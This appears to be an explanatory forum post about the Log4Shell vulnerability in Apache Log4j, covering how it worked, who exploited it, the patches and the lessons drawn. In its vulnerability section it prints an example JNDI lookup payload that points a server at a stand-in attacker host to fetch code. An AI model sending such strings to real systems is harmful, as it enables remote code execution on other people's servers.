Log4Shell Vulnerability (CVE-2021-44228) Dissected: How a Java Library Bug Shook the Internet

[Cloned Boy]

Log4Shell is one of the most dangerous vulnerabilities in the history of cybersecurity, discovered in December 2021 in the Apache Log4j library 2. It allowed attackers to execute arbitrary code on servers using only a log line.

What is Log4j and what was the vulnerability?​

1. What is Log4j?​

• A popular Java library for logging (recording events in applications).
• Used by Apple, Amazon, Twitter, Minecraft, VMware and thousands of others.

2. The essence of vulnerability​

• Vulnerability: CVE-2021-44228 (CVSS 10.0 - maximum severity).
• Problem:
  • Log4j automatically handled special strings like ${jndi:ldap://attacker.com/exploit}.
  • When such a line was logged, the server made a request to the attacker and executed his code.

3. How did it work?​

1. The hacker sent a malicious string (for example, via a Minecraft nickname or an HTTP header).
2. The server logged it via Log4j.
3. The library made a request to the hacker's LDAP server and downloaded the code.
4. Malware (backdoor, ransomware, bot) was launched on the server .

Who used Log4Shell?​

1. Cybercriminals​

• Ransomware groups (Conti, REvil) attacked corporations.
• Cryptominers infected servers to mine Monero.

2. State hackers​

• Chinese APTs (eg Hafnium) have attacked the US.
• Iranian hackers have been breaking into universities and hospitals.

3. Script-kiddie​

Due to the ease of exploitation (there are ready-made scripts), the vulnerability has become widespread.

How was the vulnerability discovered and fixed?​

1. Who found it?​

• Researcher Chen Zhaojun from Alibaba Cloud (China) in November 2021.

2. Apache Reaction​

• December 9, 2021: Patch released (Log4j 2.15.0).
• December 17: New versions (2.16.0, 2.17.0) with additional fixes.

3. Difficulty in correction​

• Millions of servers used Log4j (not everyone knew about it).
• Nested dependencies (the library could be "hidden" in other programs).

Consequences of Log4Shell​

1. Global hacks​

• Under attack: Apple iCloud, Amazon AWS, Steam, Tesla, NASA.
• Losses: $10+ billion (Check Point estimate).

2. Changes in the IT industry​

• Companies have started scanning their projects for vulnerable dependencies.
• Java developers have become more careful with logging.

3. Lessons for safety​

• Even logging libraries can be dangerous.
• Automatic update is a must.

What did this case teach us?​

1. One line of code can break the entire internet.
2. Open source is not only free, it's also risky.
3. Cybersecurity is a race against time.

Want a breakdown of another vulnerability? Like Heartbleed — how a bug in OpenSSL put millions of passwords at risk?